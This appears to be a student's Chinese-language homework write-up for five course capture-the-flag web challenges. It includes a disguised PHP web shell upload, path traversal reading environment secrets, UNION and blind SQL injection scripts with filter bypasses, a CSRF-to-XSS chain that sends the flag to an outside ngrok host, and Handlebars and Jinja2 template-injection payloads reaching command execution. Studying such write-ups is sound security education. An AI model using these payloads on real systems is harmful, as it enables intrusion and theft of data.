---
# System prepended metadata

title: HW0x02 Writeup (Web)
tags: [Computer Security]

---

###### tags: `Computer Security`

# HW0x02 Writeup (Web)
[TOC]

## 1. Imgura

直接找.git就發現有東西，講義上附的githack不知為什麼跑不起來，所以我另外找了一個GitHack~[1]~把.git資料夾抓下來

先用git log查看commit紀錄:
![](https://i.imgur.com/QGLWesF.png)

看起來要的東西應該在first commit內。
git的**ls-tree指令可以查看各個版本的內容**~[3]~，
:::info
使用方法：git ls-tree {hash值}
:::
![](https://i.imgur.com/SmzvVvL.png)

看到了後來的版本中被砍掉的dev_test_page，連到imgura.chal.h4ck3r.quest/dev_test_page/後會發現一個上傳介面：
![](https://i.imgur.com/mpvJaQ9.png)

利用**cat-file指令可以查看某個檔案的內容**，可以利用這個指令把upload的source code撈出來。
:::info
使用方法：git cat-file -p {hash值} (-p為pretty print)
:::

從upload的souce中可以看到擋掉了php附檔名和內文有```<?php```字眼的檔案。所以需要偽造一個假的圖片，至於 **```<?php```可以改用```<?=```來代替**。

先構造一個一句話木馬，檔名取叫<whatever>.jpg.php：
```
abcd<?= system($_GET[cmd]);?>
```
然後竄改檔案的Magic Number，我使用的是PyHex~[4]~
JPG的Magic Number是FF D8 FF E8~[5]~
![](https://i.imgur.com/Do1xeap.png)

    
    
上傳後就可以直接找flag了。

:::info
`https://imgura.chal.h4ck3r.quest/dev_test_page/images/272a3d96_hello.jpg.php?cmd=cat%20/this_is_flaggggg`
:::
    
:::success
:triangular_flag_on_post: FLAG{ImgurAAAAAA}
:::

#### Reference:
1. https://github.com/BugScanTeam/GitHack
2. https://www.jianshu.com/p/0ea09975169d
3. https://www.slmt.tw/blog/2016/08/21/dont-expose-your-git-dir/
4. https://github.com/Builditluc/PyHex
5. https://filesignatures.net/index.php
---

## 2. DVD Screensaver

從source code看到可以用/static/做path traversal，但試了幾次發現"$..$"都會直接被normalize掉，查了才發現用**curl的--path-as-is功能可以避掉normalize**。~[1]~ ~[2]~
:::info
`curl -v -X CONNECT --path-as-is http://dvd.chal.h4ck3r.quest:10001/static/../../proc/self/environ --output -`
:::

:::success
SECRET_KEY=d2908c1de1cd896d90f09df7df67e1d4
:::
把SECRET_KEY貼到source中並把app跑起來就可以偽造cookie。

接著是SQL injection的部份，先用guest登入後把cookie替換成本地用username="admin"生成的cookie就可以看到username為admin時的畫面
![](https://i.imgur.com/2FlZ1rK.png)
結果是假的FLAG(

既然FLAG一定長成"FLAG{...}"的形式，只要改成從flag形式來搜尋就可以撈到了，可以利用UNION SELECT來達成。

> fmt.Sprintf("SELECT username, flag FROM users WHERE username='%s'", username)
:::info
username = "meow' UNION SELECT username, flag FROM users WHERE flag LIKE '%FLAG{%'"
:::
![](https://i.imgur.com/oHNVm6C.png)
:::success
:triangular_flag_on_post: FLAG{WOW_I_am_the_real_flag____MEOWWWW}
:::

#### Reference:
1. https://ilya.app/blog/servemux-and-path-traversal
2. https://pkg.go.dev/net/http#ServeMux.Handler


---
    
## 3. Profile Card

可以編輯頭像的URL，資料卡標題和一個Bio，還有匯出成HTML或markdown的功能，不過一開始看不出來匯出有什麼用途。
    
![](https://i.imgur.com/JPiRol2.png)

![](https://i.imgur.com/P2uSBqG.png)
    
打開app.js可以看到更新profile的過程，src和textContent不能夾script，所以能執行XSS的點應該在innerHTML，在Bio處塞一些HTML的tag也會跟著反映這點也可以看出來。

![](https://i.imgur.com/ryqvkd9.png)

從這邊大概可以擬定整個策略應該會是：
**傳送惡意連結給admin->觸發CSRF並導回原頁面->CSRF的payload導致XSS->傳送flag**    
    
嘗試著塞最簡單的兩個payload試看看：
:::info
```
    <script>alert(1)</script> ： 會被吃掉，轉成<bad>
    <img src=x onload=alert(1)> ：會被CSP設定擋掉
```
:::

CSP設定，非常的嚴格~[1]~：
    
![](https://i.imgur.com/K8jw9r4.png)

先從CSRF的部份開始，這邊參考~[2]~作法裡的Old Method，比較特別的是因為表單以JSON格式送出後會自動pad一些東西導致打update API時會解析失敗，所以多塞了一項key(反正update時不會看這項)，並讓結尾閉合不完整(其實確定為什麼但不讓他這樣結尾就會被pad東西導致api報500)，就可以讓他更新成功。CSRF後再導回原本的畫面。

payload的樣子，因為submit時會跳到新的tab，所以設了個iframe讓他在裡面跑。
    
```html!
<script src="https://code.jquery.com/jquery-3.6.0.min.js" integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4=" crossorigin="anonymous"></script>
<form id="edit-form" method="POST" enctype="text/plain" target="dummyframe" action="https://profile.chal.h4ck3r.quest/api/update">
   <input name='{"avatar":"/static/default-    
                avatar.png","title":"CSRFed!","profile":"<a 
                href=https://f3d5-1-174-37-6.ngrok.io>bleh</a>",
                "ignore-me":"' value=test"}>
</form>
Hacked!
<iframe name="dummyframe" id="dummyframe" style="display: none;"></iframe>
<script>
    $("#edit-form").submit();
    setTimeout(
        function(){
            window.location.href = "https://profile.chal.h4ck3r.quest/";
        },
    2000);
</script>
```
    
再來就是思考如何生出一個能XSS的payload了。
從文件~[3]~說明可以知道在innerHTML裡夾script tag的話是不會執行script的，但是像是<img alert(1)>或者用javascript:alert(1)等等方式的payload又會被CSP的規定擋掉，在這邊卡了許久。
後來才想起來雖然**innerHTML內不能跑script，但是iframe內的script仍然是可以被執行的**。不過即使這樣，就算script能塞進去，還是會被CSP的限制擋住....
卡了一陣子從一篇writeup~[4]~中看到了解法：因為CSP限制只能載入相同domain內的script，**只要能找到同domain內能夠利用的頁面，並改造成合法的js檔案，仍然可以引入使用。**
想了半天才終於領悟export在此題的用處。
這裡我選擇以markdown匯出(因為輸出內容比較少比較好改造)。沒試過HTML可不可行。
利用update API改成合法的JS但同時也是合法的HTML，在iframe內引入就能達到XSS。
                                                                       
改造後的payload如下，其實後來應該是因為編碼有點太亂解析時會噴500，所以先做encode：
                                                                       
```html!                                                               
 <input name='{"avatar":"alert(1))];/*","title":" */ /*","profile":"<a href="https://f3d5-1-174-37-6.ngrok.io">bleh</a><iframe srcdoc=\u0022\u0026\u006c\u0074\u003b\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0073\u0072\u0063\u003d\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0070\u0072\u006f\u0066\u0069\u006c\u0065\u002e\u0063\u0068\u0061\u006c\u002e\u0068\u0034\u0063\u006b\u0033\u0072\u002e\u0071\u0075\u0065\u0073\u0074\u002f\u0065\u0078\u0070\u006f\u0072\u0074\u003f\u0066\u006f\u0072\u006d\u0061\u0074\u003d\u006d\u0061\u0072\u006b\u0064\u006f\u0077\u006e\u0026\u0067\u0074\u003b\u0026\u006c\u0074\u003b\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u0026\u0067\u0074\u003b\u0022></iframe>*/","ignore-me":"' value=test"}>
<!-- srcdoc內等同於"&lt;script src=https://profile.chal.h4ck3r.quest/export?format=markdown&gt;&lt;/script&gt;" --> 
```
render出的markdown如下，整個後半部都等同於註解掉了：
```markdown=!
[![](alert(1))];/*)](https://github.com/turtle)

# @turtle

###  */ /*

---

<a href="https://f3d5-1-174-37-6.ngrok.io">bleh</a><iframe srcdoc="&lt;script src=https://profile.chal.h4ck3r.quest/export?format=markdown&gt;&lt;/script&gt;"></iframe>*/
```
雖然前面的```[![](```會導致error但還是能成功跳出alert：
![](https://i.imgur.com/DV4o1zV.png)
   
這樣就能開始寫script了，基本上跟lab差不多，不一樣的地方在於因為CSP的關係使用location.href會被connect-src的設定擋掉，改用window.open就能躲過限制：

最終payload:
```html!
<input name='{"avatar":"fetch(`/flag`).then(r=>r.text()).then(flag=>window.open(`https://c979-1-174-37-6.ngrok.io/kekw?${flag}`)))];/*","title":" */ /*","profile":"<a href=\u0022https://c979-1-174-37-6.ngrok.io\u0022>bleh</a><iframe srcdoc=\u0022\u0026\u006c\u0074\u003b\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0073\u0072\u0063\u003d\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0070\u0072\u006f\u0066\u0069\u006c\u0065\u002e\u0063\u0068\u0061\u006c\u002e\u0068\u0034\u0063\u006b\u0033\u0072\u002e\u0071\u0075\u0065\u0073\u0074\u002f\u0065\u0078\u0070\u006f\u0072\u0074\u003f\u0066\u006f\u0072\u006d\u0061\u0074\u003d\u006d\u0061\u0072\u006b\u0064\u006f\u0077\u006e\u0026\u0067\u0074\u003b\u0026\u006c\u0074\u003b\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u0026\u0067\u0074\u003b\u0022></iframe>\u002a\u002f","ignore-me":"' value=test"}>

<!-- srcdoc內等同於"&lt;script src=https://profile.chal.h4ck3r.quest/export?format=markdown&gt;&lt;/script&gt;" -->                       
```
然後把server網址report給admin就能領flag了。
    
:::success
:triangular_flag_on_post: FLAG{W0W_you_expl0ited_th3_s3lf_xss}
:::



#### Reference:
1. https://csp-evaluator.withgoogle.com/
2. https://www.geekboy.ninja/blog/exploiting-json-cross-site-request-forgery-csrf-using-flash/
3. https://developer.mozilla.org/en-US/docs/Web/API/Element/innerHTML
4. https://tech-blog.cymetrics.io/posts/huli/learn-from-intigriti-xss-0721/

---

## 4. Double SSTI

Source code可以發現第一層用了handlebars，上網查應該都會找到一篇用Handlebars SSTI一個shopify app達到RCE的文~[1]~，不過後來才發現原來這個洞被修掉了。~[2]~

因為server檔掉了secret這個關鍵字，本來想用string replace等方式來解，但事實上server根本沒有Register任何helper，只能使用內建的helper。後來找到一篇利用內建的each helper把secret一個char一個char讀出來的方法。~[3]~

```python=
import requests
from pwn import *

secret = ''
while True:
    content = '{{#each this}}{{#unless @first}}{{this.[%d]}} \
    {{/unless}}{{/each}}' % len(secret)
    r = requests.get('https://double-ssti.chal.h4ck3r.quest \
    /welcome?name=' + urlencode(content))
    #print(r.content.decode())
    tmp = r.content.decode().split(' ')[1][0]
    secret += tmp
    print(secret)
    if(secret[-1] == '!'):
        break
```
![](https://i.imgur.com/CBbJZBB.png)

這樣一個一個爆出來感覺蠻爽的，但後來發現其實根本不需要迴圈
:::info
name = {{#each this}}{{#unless @first}}{{this}}{{/unless}}{{/each}}
:::

:::success
secret = 77777me0w_me0w_s3cr3t77777
:::

第二層從source知道是jinja，但底線之類等等被過濾，從~[4]~可以知道能用|attr()的方式來代替屬性用的點"."，底線可以用\x5f代替。此外，講義上的**os.system()只會回傳status**，所以要用其他方式讀flag，可以用~[4]~裡的subprocess或者os._warp_close來達成RCE。

:::info
```
name = "
{{()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')| \
attr('\x5f\x5fsubclasses\x5f\x5f')()| \
attr('\x5f\x5fgetitem\x5f\x5f')(132)| \
attr('\x5f\x5finit\x5f\x5f')| \
attr('\x5f\x5fglobals\x5f\x5f')| \
attr('\x5f\x5fgetitem\x5f\x5f')('popen')('cat /y000_i_am_za_fl4g')| \
attr('readlines')()}}"
```
:::
:::success
:triangular_flag_on_post: FLAG{SssssstiiiiiiI}
:::


#### Reference:
1. http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html
2. https://security.snyk.io/vuln/SNYK-JS-HANDLEBARS-1056767
3. https://fireshellsecurity.team/defenit-ctf-some-tasks/#web---babyjs
4. https://medium.com/@nyomanpradipta120/jinja2-ssti-filter-bypasses-a8d3eb7b000f


---

## 5. Log me in : FINAL

既然題目說要試著戳出500，所以就先隨便亂送一些request試試：

先用postman直接送一個沒有body的請求：

![](https://i.imgur.com/lSFEOKu.png)

可以發現SQL的語法直接被抖出來，而且還會過濾單、雙引號

> str.gsub(/['"]/,'\\\\\0')
>  query = "SELECT * FROM users WHERE username='#{addslashes(@params['username'])}' and password='#{addslashes(@params['password'])}'"

只要在username尾巴補一個\，username的第一個單引號就會跟password的第一個單引號閉合，等同於username變成(以輸入meow\為例)meow\' and password=這一串，後面就可以接一些自己要的輸入。
登入後只會出現Welcome或Incorrect username or password。而因為meow\' and password=這個username不存在，配合一個or 2>1之類的東西，就可以進行boolean blind SQLi。

實際測的時候發現SELECT，OR，AND，空白之類的也會被濾掉，不過or 可以用||代替，SELECT的話，只要中間加個空白，讓空白自己過濾掉就可以組起來，而**SQL語法內的空白可以用```/**/```代替**。


```python=
pswd = ""
while True :
    for position in range(1, 99):
        print(position)
        for asciivalue in range(32, 126):
            payload = {
                "username" : "meow\\",
                "password" : "|| (ascii(substr((SEL ECT/**/passwo rd \
                /**/FROM/**/users/**/LIMIT/**/1,1)," + str(position) + \
                ",1))) > " + str(asciivalue) +" #",
            }
            r = requests.post(url, data = payload)
            #print(r.content.decode())
            if (r.content.decode() == 'Incorrect username or password.'):
                pswd = pswd + chr(asciivalue)
                print(pswd)
                break
```

範例的script如上，把admin的密碼一個字一個字抖出來，
![](https://i.imgur.com/vmGCFzv.png)
結果說FLAG在其他table，但照著上面的方式，可以利用information_schema把其他資料庫名稱和column都挖出來：
:::success
Tables: 
h3y_here_15_the_flag_y0u_w4nt,meow,flag,users
Columns:
i_4m_th3_fl4g,password,uid,username,password
:::

很明顯的看見flag應該在h3y_here_15_the_flag_y0u_w4nt的i_4m_th3_fl4g內

![](https://i.imgur.com/TEsPSvB.png)

結果居然說找不到此table，解的時候一直想不透明明有但為什麼會說找不到table...結果挖了info rmation_schema.TABLES裡的table_schema...

:::success
Table schema:
db,db,information_schema...
:::

原來是自己被騙，其實table名稱是h3y_here_15_the_flag_y0u_w4nt,meow,flag
實際上只有兩個table，不是4個。
確定table名稱和column名稱就可以用一樣的方式得到flag。

當初快解掉時才發現其實用error_based的方法也可以，就不用等迴圈一個字一個字慢慢爆。
:::info
```!
username = "meow\"
password = "||(SEL ECT/**/ExtractValue(1, concat(0x0A, mid((SEL ECT/**/i_4m_th3_fl4g/**/from/**/`h3y_here_15_the_flag_y0u_w4nt,meow,flag`),1,32))))#"
```
:::

![](https://i.imgur.com/KLy6Fm8.png)


:::success
:triangular_flag_on_post: FLAG{!!!b00lean_bas3d_OR_err0r_based_sqli???}
:::

#### Reference:
1. https://blog.csdn.net/qq_42181428/article/details/105061424
2. https://perspectiverisk.com/mysql-sql-injection-practical-cheat-sheet/
